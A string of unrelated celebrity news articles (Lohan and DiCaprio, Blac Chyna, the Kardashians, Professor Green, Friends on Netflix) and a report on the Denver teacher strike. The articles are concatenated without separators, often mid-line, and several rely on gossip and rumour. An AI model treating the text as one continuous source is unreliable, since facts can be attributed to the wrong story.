She revealed in an interview with the Sydney Morning Herald: 'I felt that I'd always wanted to get the spirit of Ruth and I thought if I got that, then everything else will fall into place.

'But I have to say it was nerve-racking on the day because when it goes from you playing that character to the real person, there's no hiding.

'It's just there for everyone to see. Particularly as I'd already shot the entire film, so I couldn't go in and change anything.'

On The Basis Of Sex is out in UK cinemas now.Lindsay Lohan has denied questioning Leonardo DiCaprio's activist commitments after leaving a comment under his Instagram picture in which he calls for a ban on the shark fin trade.

The actor, 44, who is a staunch campaigner for climate and environmental issues, shared a devastating picture where he criticised the 'gruesome practise of chopping of shark's fins and dumping the body back into the ocean to slowly drown or bleed to death.'

Upon seeing the image, actress Lohan, 32, commented: 'I hope you are there and taking this photo' - prompting a wave of fury as people commented in return to ask her what she was doing to stop the horrifying practise.

Backlash: Lindsay Lohan has denied questioning Leonardo DiCaprio's activist commitments after leaving a comment under his Instagram picture in which he calls for a ban on the shark fin trade

Confused by her comment, Leo's supporters fired back with: 'Wtf I'm sorry what are YOU doing to stop this.'

Others responded: 'What's the matter if he were or not there?' and 'Df is that supposed to be mean', while another asked: 'Are you drunk again?'

After being lambasted by Leo's followers, the Mean Girls actress hit back at claims she was criticising the Oscar winner, branding them 'garbage'.

Leonardo is a passionate supporter of environmental issues and used his acceptance speech at the 2016 Academy Awards to urge lawmakers to 'stop procrastinating' about the issues surrounding climate change.

The Revenant star has set up the Leonardo DiCaprio Foundation, which is 'dedicated to the long-term health and well-being of the Earths inhabitants' and has been largely praised for his conservation work.

Devastating: The actor criticised the 'gruesome practise of chopping of shark's fins and dumping the body back into the ocean to slowly drown or bleed to death'

Interesting comment: Actress Lohan commented: 'I hope you are there and taking this photo' - prompting people to ask her what she was doing to stop the horrifying practise

'What are YOU doing to stop it': Leo's fans were none too pleased with Lindsay's comments

DiCaprio's eponymous foundation has now raised $100 million towards helping the fight against climate change.

However, Leonardo has been criticised in the past for his use of private jets as in 2014.

Emails hacked from film studio Sony revealed he took six private flights in just six weeks which cost $177,550.

This travel included two round trips from Los Angeles to New York, and one from LA to Las Vegas.

Fury: After being lambasted by Leo's followers, the Mean Girls actress hit back at claims she was criticising the Oscar winner, branding them 'garbage'

Good cause: The Revenant star has set up the Leonardo DiCaprio Foundation, which is 'dedicated to the long-term health and well-being of the Earths inhabitants'

Incredible: DiCaprio's eponymous foundation has now raised $100 million towards helping the fight against climate change

On the personal front, Leonardo is now dating model Camila Morrone, 21.

The star is no stranger to dating models, with his previous conquests including the likes of Nina Agdal, Kelly Rohrbach, Toni Garrn, Gisele Bundchen, and Bar Refaeli.

His longest term relationship was with Brazilian supermodel Gisele, 37 - now married to New England Patriots star Tom Brady, 40 - from 1999 to 2005.She's only just split from boyfriend Kid Buu, but Blac Chyna already has a new man.

The video vixen, 30, has reportedly been secretly dating rapper Soulja Boy for a week - claims at odds with the fact he already has a girlfriend.

Blac Chyna - who raises daughter Dream, two, with her ex Rob Kardashian and son King Cairo, six, with her ex Tyga - and the hip-hop star are alleged to have flirted online and 'slid into each other's DMs'.

New man? Blac Chyna, 30, has reportedly been secretly dating rapper Soulja Boy for a week - claims at odds with the fact he already has a girlfriend

According to TMZ, the pair first met in person at Sean Kingston's LA penthouse last week, where sparks flew.

They have been inseparable ever since and even attended some Grammys after-parties together, but it was initially thought they were just friends.

Soulja Boy has even shared a few pictures of the two of them together, coining their couple name 'DrakoChyna'.

The rapper - best known for his 2007 hit Crank That - has been dating model Tiona Fernan.

Online flirtation: According to TMZ, the pair first met in person at Sean Kingston's LA penthouse last week, where sparks flew

'DrakoChyna': They have been inseparable ever since and even attended some Grammys after-parties together, but it was initially thought they were just friends

Just two weeks ago, he was sharing snaps of the beauty on his social media accounts, enthusing about his 'love' for her.

Meanwhile, Tiona has been sharing a number of sizzling snaps with cheeky captions like: 'You can sleep on me, but then youll see me in your dreams'.

Another more philosophical quote read: 'My heart is at ease knowing that what was meant for me will never miss me and what misses me was never meant for me.'

Stunning model Tiona last shared a gushing tribute to Soulja Boy just a few hours ago, before the report first surfaced.

Still together? The rapper - best known for his 2007 hit Crank That - has been dating model Tiona Fernan

Smitten: She posted a gushing tribute to him just a few hours ago before the report surfaced

MailOnline has contacted representatives for both stars for comment.

The new claims come just as Blac Chyna lashed out at her exes Tyga and Rob Kardashian, claiming she never asked for child support from either of the men.

The reality star was on a mission to clear her name during a now-deleted Instagram Live rant on Monday, where she claimed her exes don't give her anything.

Chyna also targeted her mother Tokyo Toni, who recently claimed Rob should have sole custody of Dream because the star's personal life is on a 'downward spiral.'

Clearing her name: The new claims came as Blac Chyna hit out at her exes Tyga and Rob Kardashian, claiming she doesn't receive child support from either of the men

'F**k Toni, f**k Tyga, f**k Rob, f**k everybody else. I never asked Tyga for child support, Rob for child support, whatever, and then we just went to court,' she said in her rant.

'I try to squash s**t, which I did, but none of that comes out. It's only negative s**t with Chyna I never wanted no money from Rob because it was never about that. Period,' she said.

'I came from the strip club, my momma was a stripper, my daddy, I didn't know him.

'I have kids by two guys that f**king tricked me or whatever and don't give me s**t. No child support, and I'm sick of that s**t. Cut that child support s**t out. Just cut it out. Period.'

Family rift: She also targeted her mother Tokyo Toni, who recently claimed Rob should have sole custody of Dream because of Chyna's 'downward spiral'

Daddy's little girl: Rob planted a kiss on his daughter Dream

The way they were: Chyna and her now ex Tyga together in Las Vegas in 2013

This comes after TMZ reported that Rob and Chyna are getting close to reaching a new custody deal, which would reportedly see the KUWTK star pay significantly less than his current $20,000 a month in child support.

It's been claimed Rob's family don't feel comfortable with the TV star, after she wanted to leave Dream with nannies as she partied at the Ritz Carlton in Honolulu, Hawaii with musician Kid Buu, 30, according to People.

The source said: 'Rob's family always had issues with Chyna. Her public behavior in the past few days, certainly isn't going to give her a Mother of the Year award.

'Chyna has long acted like her number one priority isn't raising her kids. This is very hard for Rob's family.

'They don't feel like Dream is properly cared for when she is with Chyna. They find it to be a sad situation.'

Striking new deal: This comes after TMZ reported that Rob and Chyna are getting close to reaching a new custody deal, which would reportedly see the KUWTK star pay significantly less than his current $20,000 a month in child supportMatthew Wright's wife Amelia took to Twitter on Tuesday to post a humorous reaction to fans comparing her husband's hair cut to comedian Julian Clary.

The couple - who have just welcomed baby Cassady together after a harrowing six attempts at IVF - posed for this week's Hello! Magazine, with the former The Wright Stuff host sporting a new blonde 'do.

Twitter was awash with comments to the tune of, 'The more I look the more I think it is Julian Clary... not Matthew Wright,' and, 'Matthew Wright channelling Julian Clary with that hair "style"'.

Uncanny: Fans took to Twitter to compare Matthew Wright to Julian Clary on Tuesday

Seeing the funny side: Matthew's wife Amelia took to Twitter on Tuesday to post a humorous reaction to the comparison

And Amelia reacted to it by Tweeting: 'Warning: those posters comparing my husband in Hello! to Julian Clary could face libel actions. Julians far more butch!'

Her followers reacted to this by replying, 'Now you come to mention it I do see Julian Clary!' and, 'He is a lot like Julian. Except Julian is far better looking...'

Another enjoyed Amelia's humorous approach: 'Far more butch... v funny. Such a fantastic outcome after all those years of heartbreak. Well done @mrsameliawright.'

Others continued the joke, however: 'I wondered why you were on the front of Hello with Barry Manilow.'

All the lols: And Amelia reacted to it by Tweeting - 'Warning: those posters comparing my husband in Hello! to Julian Clary could face libel actions. Julians far more butch'

In the Hello! piece, Matthew revealed that he almost missed the birth of his daughter because he was stuck in traffic.

The TV presenter, 53, and his wife welcomed Cassady in January, after trying for eight years and going through a life-threatening ectopic pregnancy.

Matthew said that he was 'having kittens', after coming off air to learn that his wife was in labour with their baby daughter on the other side of London.

After receiving a text as he finished his radio show, the star hopped in a car to make his way across London from Waterloo to Hammersmith, where Amelia was giving birth at the Queen Charlotte's and Chelsea Hospital.

He said: 'There was a taxi drivers' strike, every road we went on was stuck and there was no more communication from her.

Miracle baby: The TV presenter, 53, and his wife welcomed Cassady in January, after trying for eight years and enduring six failed IVF attempts and one life-threatening ectopic pregnancy

'It took one hour 15 minutes to get from my offices in Waterloo to the hospital in Hammersmith, usually it would be 40 minutes, and I was having kittens.'

Amelia said: 'My blood pressure suddenly went sky high and they said, 'This is dangerous, it has to happen now'.

'They said they would try and wait for Matthew to get there but otherwise they were going to have to start.

In a rush! Matthew said that he was 'having kittens', after coming off air to learn that his wife was in labour with their baby daughter on the other side of London

'He needed to get there no later than when he did, or he would have missed it.'

Cassady arrived on January 25, nearly four weeks early, weighing just over 5lbs and Amelia said she keeps pinching herself and that she feels 'like it's a rebirth for me'.

'I can't get over how good she is and how gorgeous she is, I generally think babies are ugly things but it just happens that mine is the supermodel of the baby world,' Wright said.

The former host of The Wright Stuff took to Twitter earlier this month to excitedly share his wife's news with his more than 51,000 followers.

I'm coming! After receiving a text as he finished his radio show, the star hopped in a car to make his way across London from Waterloo to Hammersmith

He sparked a congratulatory storm after retweeting Amelia's note, which read: 'After 8 challenging years of IVF, we are thrilled to announce that on our last roll of the dice, we got lucky and are expecting a baby girl. Woo hoo!'

The TV personality then took to his new weekday afternoon show on talkRADIO to share the news with his listeners, which he tweeted about after the broadcast.

'Ta for all your kind words re @mrsameliawright and pregnancy. She's been thru hell she really has. Feel super blessed to have such lovely followers.'

Matthew has been with his second wife Amelia, a Sony music executive, since 2007 and they have been married since 2010.

Read the full article in Hello! out now.They've been married since May 2015 and it appears as though Mark Wright and wife Michelle Keegan are just like any other couple.

The pair were seen heading out on a shopping trip to Harrods in London's Knightsbridge on Tuesday and things appeared a little tense between them.

Michelle, 31, appeared to be a little annoyed with her handsome spouse, although it's unclear why that might have been.

Michelle Keegan PICTURE EXCLUSIVE: Actress and husband Mark Wright appeared tense during a day out in London together on Tuesday

Not impressed? Michelle, 31, appeared to be a little annoyed with her handsome spouse, although it's unclear why that might have been

After visiting the famous shop, they walked across the road to Harry's Dolce Vita, where they ordered lots of food.

The pair are very much into fitness and a healthy lifestyle but are known for their love of takeaways and love to eat pizza and chinese on cheat days.

After picking up their food, the couple opted for a takeaway, with Mark, 32, carrying a pizza box, two sides and a separate carrier bag.

Telling him off? The pair were seen heading out on a shopping trip to Harrods in London's Knightsbridge and Michelle appeared to be getting some things off her chest

What's going on? Mark appeared a little down in the dumps as they walked alongside one another

Making it work: The couple have spent much of their married life apart due to Michelle's filming commitments, but always try to see one another every three weeks

More than meets the eye: The couple have previously said that they don't always document their time together, so they spend more time together than their fans might think

The couple have spent much of their married life apart due to Michelle's filming commitments, but always try to see one another every three weeks.

The couple have previously said that they don't always document their time together, so they spend more time together than their fans might think.

Mark looked smart on the date, wearing a light-coloured polo neck jumper under a smart jacket and black skinny jeans.

Looking good: Mark looked smart on the date, wearing a light-coloured polo neck jumper under a smart jacket and black skinny jeans

Chic: Michelle also looked great wearing a brown coat over similar jeans and tasselled heeled boots

Details: She balanced her designer shades on her head and wore cross-style earrings

Good looking: The pair looked perfect together as they headed into the famous department store

Long-term loves: Mark and Michelle tied the knot in May 2015, having first met in Dubai in 2012

Michelle also looked great wearing a brown coat over similar jeans and tasselled heeled boots.

Mark and Michelle tied the knot in May 2015, having first met in Dubai in 2012.

Mark recently denied claims he quit his presenting gig with US television show Extra to start a family with his other half.

Not yet: Mark recently denied claims he quit his presenting gig with US television show Extra to start a family with his other half

Treat yourself: After visiting Harrods, the couple walked across the road to Harry's Dolce Vita, where they ordered lots of food

What a gent: Mark carried the bags while Michelle leaned over to get the car door

Everything in moderation: The couple are into health and fitness but also have a love for pizza and chinese takeaway

Hello! Mark seemed keen to try and get Michelle's attention as he carried bags of food

With the former TOWIE star permanently out in Los Angeles to present Extra and his wife previously flying all over the globe for Our Girl, the coupe have had a long distance relationship.

However, a spokesperson for Mark told the MailOnline the reality star-turn-presenter had no plans to quit his job in the States to have children.

Mark previously discussed how the couple make their long distance love work.

Speaking exclusively to MailOnline, he said: 'Don't listen to the rulebook, the rulebook will say "long distance can't work', there's no way this couple are going to work," it's bulls**t.

'At each other's feet every day doesn't work, it depends on the couple, if you love each other you make it work. I wouldn't suggest going months and months without each other, make it work, put it into your schedule, make sure you see each other enough, it keeps the heart fonder.'

Speaking of his move stateside, Mark admitted that he does find it difficult being away from his friends and family.

'I miss them every day when I'm not with them. It's something I have to think about in the future, how long I want to be away from them for.'

Not today: It appears as though their shopping trip was not successful as they had no bags with them

Nailed that trend: Michelle's fringed boots were the perfect winter warmer

Talking it out: The couple continued to be deep in conversation as their evening continuedShe has previously been candid about her struggles during pregnancy.

And Kim Kardashian was again discussing her woes on Tuesday as she chatted during one of her beauty masterclasses with her long-time make-up artist and now collaborator Mario Dedivanovic in Los Angeles.

The Keeping Up With The Kardashians star, 38, was joking about her keys to a smooth complexion, as she warned fans to 'never smile' shortly before making things more serious as she admitted her pregnancy weight gain knocked her confidence.

Woah: Kim Kardashian was again discussing her woes on Tuesday as she chatted during one of her beauty masterclasses with her long-time make-up artist and now collaborator Mario Dedivanovic in Los Angeles (pictured in November)

Kim, who is married to Kanye West, is mother to North, five, Saint, three, and 13-month-old Chicago, and expecting a fourth child via surrogate.

The star battled preeclampsia during her first two pregnancies, so used a surrogate for Chicago and their new arrival on the advice of doctors.

When asked about her tricks to the perfect skin, Kim tickled fans as she said: 'Don't smile. Before I was always smiling, and so into being out and about'.

She then explained that when she was trolled during her pregnancy for her swollen face, her confidence was knocked so she changed.

Way back when: The 38-year-old Keeping Up With The Kardashians star admitted her pregnancy weight gain knocked her confidence (pictured while expecting Saint in 2016)

Honest: Kim, who is married to Kanye West, is mother to North, five, Saint, three, and 13-month-old Chicago, and expecting a fourth child via surrogate (pictured in July last year)

Kim admitted the abuse she was faced with meant she stopped smiling: 'After I had [North], I was like, "These are the same people that made fun of me", and were so awful, calling me fat for something I couldnt control....

'Even if I was more confident, I just didnt feel like being that girl who was going to be smiling for every photo. It changed my mood; it changed who I was; it changed my personality a lot'.

While some construed her smiling joke as serious, she took to Twitter to hit back leading to Kim writing on Twitter: 'OMG should we never make jokes again during our Masterclass'.

Happy days: As Kim was joking about her appearance, her husband Kanye was out and about admiring a plane and a car following business meetings in Los Angeles

Chilling: He was hanging out next to some lavish motors in Calabasas

Off he goes: Kanye was out and about with his pals while Kim was chatting

Again proving her sense of humour, on Tuesday she discussed her struggles to get rid of a red rash on her face and body, as she joked around while sharing a selfie on Monday that showed her face smeared in brown goop.

'Psoriasis is the sh**s!' she said in her caption. Kim was quick to clarify that the brown smudges were only a 'herbal ointment.'

As Kim was joking about her appearance, her husband Kanye was out and about admiring a plane and a car following business meetings in Los Angeles.Friends is reportedly being removed from popular streaming site, Netflix.

The well-loved comedy, which was originally acquired by Netflix in 2015 for a staggering $118 million (around $500,000 per episode), is now said to be moving to a new unnamed WarnerMedia streaming platform.

Despite Netflix extending its deal for Friends - which ran for ten season from 1994 to 2004 - in December for $100 million, it will have the exciting new option to move to the broadcasting giant's new site, which is reportedly eyeing up its 'crown jewels.'

End of an era? Friends is reportedly being removed from popular streaming site, Netflix

Overseeing content for the new streaming project, Kevin Reilly, who is the TNT and TBS president, revealed: 'For the most part, sharing destination assets like that is not a good idea.

'Expect that the crown jewels of Warner will ultimately end up on the service,' he continued at the Television Critics Association.

Reilly has also expressed hopes to take other Warner shows such as The Big Bang Theory under his wing on the new streaming site, alongside the likes of Riverdale and Arrow and movies, Casablanca and Caddyshack.

MailOnline has contacted Netflix representatives for further comment.

New home: The comedy, which was acquired by Netflix in 2015 for $118 million ($500,000 per episode), is now said to be moving to an unnamed WarnerMedia streaming platform

On to bigger and better things: Friends will have the exciting new option to move to the broadcasting giant's new site, which is reportedly eyeing up its 'crown jewels'

Splashing the cash: The new reports come despite Netflix extending its deal for Friends - which ran for ten season from 1994 to 2004 - in December for $100 million

Whispers that Friends was leaving the Netflix streaming site emerged late last year, however at the time, Netflix COO Ted Sarandos told The Hollywood Reporter that the comedy's departure from the site 'is a rumour'.

Losing Friends would be a big blow for Netflix as the comedy is the third most popular sitcom in the US behind The Big Bang Theory and Brooklyn Nine-Nine.

'Content like Friends is likely to disappear from Netflix in 2019 as WarnerMedia launches its own SVOD service,' media analyst Rich Greenfield told Deadline in October.

'The crown jewels of Warner will be on the service': Overseeing content for the new streaming project, Kevin Reilly, who is the TNT and TBS president explained the potential move

'Just a rumour': Whispers that Friends was leaving the Netflix streaming site emerged late last year, however at the time, Netflix COO Ted Sarandos quickly dismissed the rumours

Disney will also be giving Netflix a run for its money with its service called Disney+ which will be launching in late 2019.

It will offer the Star Wars and Marvel movies along with Pixar films and a variety of animated series.

Friends is one of the most popular sitcoms of all time, following the lives of six friends living in New York; Rachel (Jennifer Aniston), Ross (David Schwimmer), Joey (Matt LeBlanc), Chandler (Matthew Perry), Monica (Courteney Cox) and Phoebe (Lisa Kudrow).

Meanwhile, while fans have demanded a reboot of the show over the years, creators Marta Kauffman and David Crane have said a reboot will 'never happen.'He stars as charismatic conman John Meehan in the new Netflix series Dirty John.

And Eric Bana has confirmed there will be a season two of the true crime podcast turned TV drama on Wednesday's episode of The Project.

The 50-year-old explained to the panel that two season of the show were bought, 'but Connie (Britton, his co-star) and my story is just the one season.'

'It would be a different storyline': Eric Bana confirms there will be two seasons of Netflix series Dirty John but says he and co-star Connie Britton will NOT be back

'So the story of John Meehan and Debra Newell is just this one season,' he continued.

The actor added: 'Two would be a different storyline.'

Comedian Celia Pacquola joked: 'Unless they find a dirtier John.'

Speaking about menacing character, Eric said: 'This particular guy, he was a piece of work. He was very good at what he did and really took the real life Debra Newell down a pretty dangerous path.'

In character: The 50-year-old explained to the panel that two season of the show were bought, 'but Connie (Britton, his co-star) and my story is just the one season.' Pictured: Dirty John still of Eric Bana and Connie Britton

'She was a very successful intelligent woman who fell for this guy, she'd been married a few times before, met him online but fell under his spell and these guys are experts in what they do,' he added.

The acclaimed actor's appearance on The Project comes after he recently discussed his role as a sociopath conman with The Daily Telegraph.

'I've looked at a lot of TV stuff over the past 10 years, and this was the one that got me. So it was a combination of a lot of factors.' the father-of-two said.

'He was a piece of work!' Speaking about menacing character, Eric said: 'This particular guy, he was a piece of work. He was very good at what he did and really took the real life Debra Newell down a pretty dangerous path.' Pictured: Dirty John still

'There's a lot of scope to explore that sociopath behaviour,' he told the publication.

The series is based on the true crime podcast of the same name, which was released back in 2017.

It centres on the real-life love story between John Meehan and Debra Newell, played by actress Connie Britton.She's the American model girlfriend of Tammy Hembrow's ex-fiance, Reece Hawkins.

And recently, London Goheen, 21, was slammed by fans for fuelling her own pregnancy rumours by removing negative comments about herself on Instagram, but leaving ones congratulating her on a suspected 'pregnancy'.

'She's playing along so people give her attention,' one fan wrote on the social media platform.

'She's playing along': Fans accused Reece Hawkins' girlfriend London Goheen (pictured here) for fuelling her OWN pregnancy rumours... after claiming she's bloated in a recent Instagram photo

'Everyone calm down. It's unlikely that she is pregnant. I was trying to prove the exact point you lovely ladies and gents have come to on this fine post here. London is thirsty for any and all attention,' another Instagram user penned.

Another joined in, writing: 'Notice how she responds to a pregnancy comment but doesn't answer the question,' while one skeptical fan said: 'Interesting her choice of what comments to keep.'

'I love how she purposely avoided the question. She replied to another comment so she definitely saw it. And we all know she loves monitoring her comments lol (sic),' one fan pointed out.

Daily Mail Australia has contacted London for comment.

'Notice how she responds to a pregnancy comment but doesn't answer the question,' Fans called out the American model for removing negative comments about herself on Instagram, but leaving ones congratulating her on a suspected 'pregnancy'

The comments comes after London shared a 'bloated' snap to her Instagram Stories in recent weeks.

In the photo, the stunner was see arching her back and holding onto her belly whilst clad in a racy swimwear ensemble.

'Bloated af anyone know any good tips to help me debloat? Dm me! (sic)' she wrote beside the picture.

'Bloated': The comments comes after London shared this 'bloated' snap to her Instagram Stories in recent weeks, which began to fuel rumours about a pregnancy

Following the post, fans deliberated whether the model was expecting, with many flooding the comment section claiming she is 'pregnant'.

'Pregnant,' one user wrote on a photo London shared to Instagram, while another penned: 'Omg congrats on the pregnancy. Sass and Wolf are going to be the cutest big siblings. Blended families are such beautiful families!'

'Cutest lil baby bump ever (sic),' another fan stated, as a few others deliberated, writing: 'Is she pregnant?'

Comments: Some fans continued to deliberate whether the 21-year-old is pregnant, penning questions in each of London's recent Instagram photos

Going strong: Meanwhile, the social media model has been dating entrepreneur Tammy Hembrow's ex-fiance Reece Hawkins since October last year

Meanwhile, the social media model has been dating entrepreneur Tammy Hembrow's ex-fiance Reece Hawkins since October last year.

Things certainly appear to be moving fast for the couple, with London having already met Reece and Tammy's two children: Wolf, four, and Saskia, two.

Speaking to Daily Mail Australia at the Boohoo x Afterpay House of Summer party last month, London said she was smitten with Tammy's Insta-famous kids.

'They're really sweet': Speaking to Daily Mail Australia at the Boohoo x Afterpay House of Summer party last month, London said she was smitten with Tammy's Insta-famous kids

'Yes, they're sweet,' she said. 'They're lovely. They're really sweet, I liked them a lot.'

Tammy, who is the daughter of Australian film director Mark Hembrow, announced her split with Reece in June last year.

Since then, the Gold Coast mother has been romantically linked to Kylie Jenner's ex-boyfriend, Tyga.Professor Green has credited his flatmate for saving his life after he suffered a fractured neck during a seizure at his London home.

Green, real name Stephen Manderson, was rushed to hospital on Tuesday evening following three seizures at the property she shares with events manager Ruari Stainfield-Bruce.

The incident, which left the 35-year old rapper with a fracture to his cervical vertebrae, resulted in the abrupt cancellation of his UK tour, hours before it was scheduled to launch in Cardiff.

Thank you: Professor Green has credited flatmate Ruari Stainfield-Bruce for saving his life after he suffered a fractured neck during a seizure at his London home

But Green admits the outcome may well have been significantly worse had quick thinking Stainfield-Bruce not been on hand to call the emergency services.

The star credited his flatmate and another close friend, photographer Eddie Jenkins, whose dog Arthur was pictured being given attention by Stainfield-Bruce in a social media snap shared by the rapper after his hospitalisation.

Captioning the snap, he wrote: 'If this girl didn't hear my fall who knows where I'd be. Love you @ruari_sb.

Injury: Green, real name Stephen Manderson, was rushed to hospital on Tuesday evening following three seizures

'Also love the photographer for looking out for me life a proper friend, love you too bro @eddiejenkins.'

He added: 'Also love Arthur but he doesn't have an insta yet. Don't forget to tell the people you love how important and special they are as we saw today from my close call, you never know whats around the corner.'

Earlier that night Green shared a candid Instagram snap of himself in a neck brace after being rushed to hospital.

The Monster hitmaker revealed he's set to return to the stage in the winter season, after he was scheduled to kick off his string of performances on Tuesday at Cardiff's Globe venue.

Defiant: The 35-year-old rapper was scheduled to kick off his string of performances on Tuesday at Cardiff's Globe venue

Describing the shocking incident, the musician penned: 'I had seizure this morning which resulted in a fall while I was packing for tour 1/3.'

'Depending on how you look at this fall I was extremely lucky. I'm very fractured vertebrae in my neck and subsequently had to cancel my tour that was due to start today 2/3.'

'I'll be back in the winter with a bigger tour. I've had two further seizures and am lucky I didn't break my neck. Really f*****g lucky. Thanks for baring with me', the Hackney native told his fans.

Green was set to perform across the UK this month, with his shows scheduled to start in Cardiff, before hitting the stage in Birmingham, Glasgow, Newcastle, Manchester, Leeds, Sheffield and finally Brighton on February 21.

Details: 'I had seizure this morning which resulted in a fall while I was packing for tour 1/3', the musician told his Instagram followers

A statement from his spokesperson read: 'Due to a serious neck injury Professor Green has been forced to cancel his February 2019 tour. Tickets for all dates are refundable. Refunds will be made available at the point of purchase.'

In November, Green released a new single called Photographs, and in a video about the song he reflected on his pain over not having enough images of his father, Peter, who sadly committed suicide.

Breaking down, he said: 'Photographs conjure up so many different emotions. The ones I miss the most are the ones I never took. They are for me in many ways the memories I dont have  especially the ones from my childhood. I wish I had more.

'I was having a conversation about photographs and how there are large parts of my life where there are no photographs. We live in an age now where we take way too many pictures. That was really when I started to incubate the idea for the single, Photographs.'

What a shame: Stephen was set to perform across the UK this month, kicking off his shows in Cardiff, before hitting the stage in Birmingham, Glasgow, Newcastle, Manchester, Leeds, Sheffield and finally Brighton on February 21

Opening up once again, Green revealed that the last words he said to his dad, Peter, before he died were 'I hate you'.

Sharing his story, he said back in 2015 that the grieving process is still one he is trying to get a handle on as he hosted a mini-documentary as part of the BBC's Lifeline series.

Speaking candidly, the Hackney born star said of his father: 'He was always the parent I favoured but as a child it was complicated.

'He was always in and out of my life; at 18 we stopped talking and after five years I decided to reach out to try and arrange a meeting.'

Tribute: In November Stephen released a single called Photographs, and in a video about the song he reflected on his pain over not having enough images of his dad who committed suicide

Troubled: His father took his own life in 2008 when Stephen was aged just 24 and he explained that the grief has never left him

Talking about the last time he saw his dad added: 'Unfortunately we ended up arguing and the last words I said to him were "I hate you". The terrible thing is I never got to see him again because a few months later he killed himself.'

Scarred by their last conversation, Green also told how as of yet he still has not gotten over the grieving process as he struggles to deal with such a great loss to his family structure.

He continued: 'The moment I found out my dad had taken his own life is still as clear today as it was the moment it happened. I kept wondering why no one had seen it coming.

'I still find it quite difficult to articulate how I felt... the weird thing about grieving is it never stops.'She's impulsive by nature and is constantly surprising her famous family with her decisions.

And Khloe Kardashian proudly showcased the results of her dramatic hair transformation on her Instagram account on Tuesday, branding her decision 'craziness'.

The Keeping Up With The Kardashians star, 34, revealed she had enlisted the help of her model sister Kendall Jenner's hair stylist to chop eight inches off her locks.

Transformation: Khloe Kardashian proudly showcased the results of her dramatic hair transformation on her Instagram account on Tuesday, branding her decision 'craziness'

Khloe shared a pouty selfie of her new platinum blonde bob, peering out from beneath a side part.

She enthused: 'Ahhhh thank you @traceycunningham1 for always going along with my craziness!! Coloring my hair at 6am in the rain!

'AND for @jenatkinhair for taking time away from Kendall Jenner to chop my hair!! We cut about 8 inches off'.

Makeover: The 34-year-old star (pictured last month) revealed she had enlisted the help of her model sister Kendall Jenner's hair stylist to chop eight inches off her locks

Khloe and her niece Penelope Disick got matching haircuts - marking Penelope's first-ever.

The TV star took to Instagram with a pair of images showcasing the new coifs, in which she posed with Penelope, six, and her father, Scott Disick, 35.

'So basically, P is obsessed with me (jk) lol how FREAKING CUTE is she with her hair cut???!!!?' Khloe said of the cut, which was done by stylist-to-the-stars Andrew Fitzsimons.

Happy day: Khloe and her niece Penelope Disick, six, got matching haircuts on Monday, as they posed with Penelope's father Scott Disick

The reality star was earlier seen with the father and daughter in Sherman Oaks, California at the baby shop Sap and Honey while filming scenes for the family's E! series.

The new 'do was a big hit as well with Penelope's mom (and Khloe's sister) Kourtney, who took to the social media site to commemorate the style milestone for her daughter.

'First ever hair cut in all of her enchanting six years,' said the 39-year-old mom-of-three, also to sons Mason, nine, and son Reign, four, with Disick.

Fitzsimons posted a new shot of Penelope, saying it was 'pretty special' to handle the scissors on the occasion.

Double trouble: Penelope matched her aunt Khloe in what was her first-ever haircut

Family-minded: Khloe has been something of the glue in the fast-moving Kardashian family over the years, usually maintaining strong relationships with most of her relatives

Khloe has matched Penelope's hair before, as the pair got matching plait extensions with french braids while on a April 2016 vacation to Vail, Colorado.

Family-minded Khloe has always maintained a strong relationship with Scott, revealing to Complex four years ago that they're the 'best of friends.'

Khloe, who shares daughter True with Cleveland Cavaliers center Tristan Thompson, noted that she 'hated [Scott] before' they came to an accord.

'Overall I love his progression and growth,' she told the magazine of Disick, who's been involved with model Sofia Richie, 20, closing in on two years.Denver teachers are on the picket lines for a third day, as officials from the school district and the teachers union return to the bargaining table.

Teachers are striking over the districts performance-based compensation system, known as ProComp. Under ProComp, teachers can qualify for about 10 different financial incentives and bonuses, including for their students academic performance or for working in a hard-to-staff position or school. But teachers say the system is too confusing and unpredictablethe bonuses fluctuate from year to year and make it hard to plan financially.

See also: Denver Teachers to Strike Over Merit-Pay System

Both the union and the district agree that ProComp needs to be simplified, but they differ on the details. The teachers union has advocated for reducing cutting the number and size of incentives and putting more money into base salaries for teachers across-the-board. The district has agreed to give teachers a pay raise but wants to raise the annual incentive for teachers who work in high-poverty schools.

In an all-day negotiation session on Tuesday, the two sides made some headway, but failed to reach an agreement. This round of negotiations did not touch on bonuses, but centered around the salary schedule. Teacher salary schedules are made up of steps and lanes"steps for the number of years in the classroom, and lanes for educational attainment. Teachers receive a pay raise every time they move up a step or a lane.

According to Chalkbeat Colorado , the districts latest offer has seven lanes, while the unions proposal has eight. Last year, the districts proposal had four lanes, and the unions had 12.

We exchanged proposals that are moving us closer and are hopeful that we will get to an agreement soon, said Superintendent Susana Cordova and Denver Classroom Teachers Association President Henry Roman, in a joint statement. They added that they need a little more time to resolve the outstanding issues.

There are about 5,000 teachers in the Denver school district, and how many of them went on strike was a point of debate. On the first day of the strike, the district reported that about 2,600 teachers were absent from school for the strike. But the union said based on sign-in sheets and headcounts, there were about 3,800 teachers and support staff (like counselors, nurses, and librarians) on picket lines Monday. (The district reported similar numbers on the strikes second day.)

This is Denvers first teacher strike in 25 years. Its part of a wave of teacher activism across the country thats sweeping both blue and red states. In an interview with PBS NewsHour, I discussed the details of the activism in Denver and beyond:







Concern for Students With Disabilities

As the strike continues, some are concerned about the quality of instruction students are receiving. During the strike, schools are remaining open, staffed by substitutes and administrators.

On the first day of the strike, several high school students walked out of school. A student-filmed video shows students blasting music and dancing in the hallways. One student told the Denver Post : Everybodys screaming, Pay our teachers. Theres no learning going on.



Also on Monday, attorneys filed a federal lawsuit against the district on behalf of the more than 10,000 students with disabilities who are educated there. According to the Denver Post , the suit alleges that those students are likely to be harmed by a teacher strike more than other students. The lawsuit is seeking a court order to ensure the district provide the necessary special education services to students with disabilitiesby having properly trained staff members care for those students instead of substitutes, avoiding merging classes and disrupting students routines, and communicating with parents.

The district has said the lawsuit is unwarranted, and students with disabilities are well supported in their schools by substitutes who have special education expertise.

Interestingly, there was a lawsuit filed on behalf of students with disabilities in the Los Angeles teacher strike, toobut it was filed by the district. The school district there had asked a federal judge to prevent special education teachers from going on strike , but the judge denied the attempt.

Image: Denver Teachers carry placards as they walk a picket line outside South High School on Feb. 11. David Zalubowski/APParis Hilton stepped out with her sister Nicky to support Oscar de la Renta at New York Fashion Week.

While the socialite sisters weren't exactly matching, they were certainly coordinating in airy floral prints.

The sisters both looked stunning at the event, held at the Cunard Building in New York City.

Fashionable sisters: Paris and Nicky Hilton looked radiant in floral prints at the Oscar de la Renta New York Fashion Week show

